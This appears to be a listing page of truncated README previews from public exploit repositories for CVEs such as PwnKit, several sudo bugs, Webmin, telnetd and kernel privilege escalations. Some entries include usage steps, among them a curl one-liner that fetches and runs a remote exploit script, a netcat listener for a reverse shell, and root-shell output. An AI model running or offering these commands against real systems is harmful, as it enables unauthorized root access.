CVE-2026-24061

CVE-2026-24061 - Telnet Argument Injection Nuclei template for detecting the CVE-2026-24061 vulnerability in GNU inetutils telnetd, allowing root access without authentication. 📋 Vulnerability Description CVE-2026-24061 is a critical argument injection vulnerability in GNU inetutils telnetd that...

CVE-2021-4034

CVE-2021-4034 Exploit Usage $ git clone https://github.com/Anonymous-Family/CVE-2021-4034.git $ cd CVE-2021-4034 $ make ! CVE-2021-4034 Exploit By whokilleddb ! Initializing Setup + Setup Done :D ! Setting Root Privileges ! Launching Root Shell /bin/whoami root Rough Patch chmod 0755 which pkexec...

CVE-2026-31431

Author: 0xShe Language / 语言 English: https://github.com/0xShe/CVE-2026-31431/blob/main/README.md 中文: https://github.com/0xShe/CVE-2026-31431/blob/main/README-CN.md CVE-2026-31431 Kernel Privilege Escalation Tool Guide 0x01 Quick Start Some target environments do not have Python installed, so this...

nagiosxi-root-rce-exploit

nagiosxi-root-exploit Resumen Existe una vulnerabilidad en Nagios XI = 5.6.5 que permite a un atacante aprovechar un RCE para escalar privilegios a root. El exploit requiere acceso al servidor como el usuario 'nagios', o acceso CCM a través de la interfaz web con permisos para administrar plugins...

poc-cve-2021-4034

poc-cve-2021-4034 PoC para CVE-2021-4034 denominado pwnkit Cómo usar solo ejecuta make make y luego revisa la carpeta release o si prefieres el comando de una línea sh -c "$curl -sSL https://github.com/dzonerzy/poc-cve-2021-4034/releases/download/v0.2/run-exploit.sh" Disfruta...

CVE-2026-24061

CVE-2026-24061 GNU Inetutils telnetd Remote Authentication Bypass Seriously, telnet in 2026? Come on guys, it's time to move on. SSH exists since 1995. 🤦 Description A critical authentication bypass vulnerability in GNU Inetutils telnetd affecting versions 1.9.3 through 2.7. The vulnerability...

CVE-2021-4034

CVE-2021-4034 Un día para el exploit de escalada de privilegios de polkit Simplemente ejecuta make, ./cve-2021-4034 y disfruta de tu shell de root. El aviso original de los autores reales está aquí PoC Si el exploit funciona, obtendrás una shell de root inmediatamente:...

CVE-2024-22274-RCE

Exploit CVE-2024-22274 Este repositorio contiene un exploit para CVE-2024-22274. El exploit crea un nuevo usuario en una máquina remota a través de SSH y luego proporciona una shell root. Requisitos Go Golang instalado en tu máquina. Puedes descargarlo desde aquí. Una máquina remota con acceso SS...

CVE-2025-32463

📌 CVE-2025-32463 — Escalada Local de Privilegios de Sudo --chroot ID de ExploitDB: 52352 🧠 Visión General Este repositorio documenta una vulnerabilidad crítica de escalada de privilegios local LPE que afecta a las versiones Sudo 1.9.14 – 1.9.17. La vulnerabilidad se debe a una implementación...

Offensive-lab-2

Laboratorio de seguridad ofensiva : ProFTPD 1.3.3c Backdoor Exploit Flag de Root 1. Introducción y Objetivos Este informe detalla la prueba de penetración realizada en una máquina virtual VM Linux vulnerable, centrándose en identificar una vulnerabilidad de servicio de alto riesgo que permitía...

CVE-2023-22809

CVE-2023-22809 Referencia: https://vulners.com/cve/CVE-2023-22809 Título del Exploit: sudo 1.8.0 - 1.9.12p1 - Escalada de Privilegios Autor del Exploit: n3m1.sys CVE: CVE-2023-22809 Fecha: 2023/01/21 Página del Proveedor: https://www.sudo.ws/ Enlace del Software:...

cve-2017-11176

cve-2017-11176 Local Privilege Escalation develope on ubuntu 4.4.0-62 kernel about My first try to code my own LPE exploit. developement line c2bbad5f471ef2b112f343fde1f4e7ff94fe28d1 triger kernel uaf d2872d5c0d642e20c807a960f99d9533dde5d809 now,we can use another thread to unblock main thread...

CVE-2021-36260

Vulnerabilidad RCE CVE-2021-36260 en Hikvision Descripción de la vulnerabilidad Un atacante puede aprovechar esta vulnerabilidad para obtener un shell root sin restricciones y tomar el control total del dispositivo, incluso si el propietario del dispositivo está limitado a un shell protegido...

CVE-2022-23222

CVE-2022-23222 Análisis en chino: https://tr3e.ee/posts/cve-2022-23222-linux-kernel-ebpf-lpe.txt Solo con fines educativos/de investigación. Úselo bajo su propio riesgo. Compilar y ejecutar $ make cc -I include -static -w -o exploit exploit.c $ ./exploit phase1/8 'create bpf maps' running +...

CVE-2021-3156

CVE-2021-3156 xchg@ubuntu:/Desktop/CVE-2021-3156$ ./sudo-hax-me-a-sandwich CVE-2021-3156 PoC por blasty [email protected] Uso: ./sudo-hax-me-a-sandwich Objetivos disponibles: 0 Ubuntu 20.04.1 Focal Fossa - sudo 1.8.31, libc-2.31 1 Debian 10.0 Buster - sudo 1.8.27, libc-2.28...

CVE-2023-32413

Exploit de LPE en macOS CVE-2023-32413 / ZDI-23-845 / Pwn2Own Vancouver 2023 Este es el código del exploit que se mostró en Pwn2Own Vancouver 2023 https://youtu.be/c0cS4R0ja-I?t=180. Este código explota CVE-2023-32413 para obtener privilegios de root en cualquier macOS vulnerable. La vulnerabilid...

Webmin_CVE-2019-15107

CVE-2019–15107 - RCE no autenticado en Webmin =1.920 Este script de python debería darte un shell de root en Webmin 1.890 Comprueba con nmap: nmap -sC -sV -p 10000 TARGETIP Resultado: 10000/tcp open http MiniServ 1.890 Webmin httpd Cómo usar este exploit: Paso 1: nc -lnvp LPORT Paso 2: chmod +x...

CVE-2025-6019

CVE-2025-6019: Vulnerabilidad de escalada de privilegios locales en libblockdev Resumen CVE-2025-6019 es una vulnerabilidad de escalada de privilegios locales LPE descubierta en la librería libblockdev, que actúa en conjunto con el demonio udisks2 y Polkit. Descripción de la vulnerabilidad Un...

PwnTillDawn-Portal-Walkthrough

🔐 Vulnerability Assessment & Penetration Testing VAPT 📌 Project: Target Exploitation Walkthrough ⚠️ This project is for educational and authorized testing purposes only. Unauthorized access to systems is strictly prohibited. 👨‍💻 Author SYAFIQ Role: Lead Penetration Tester 🎯 Target Information...

PT-2026-104017

Name of the Vulnerable Software and Affected Versions Kasa EC70 v4 Kasa EC71 v4 Description The production debug interface is not logically disabled at the firmware or chip level, and the bootloader remains unlocked. An attacker with physical access can restore physically severed debug traces to...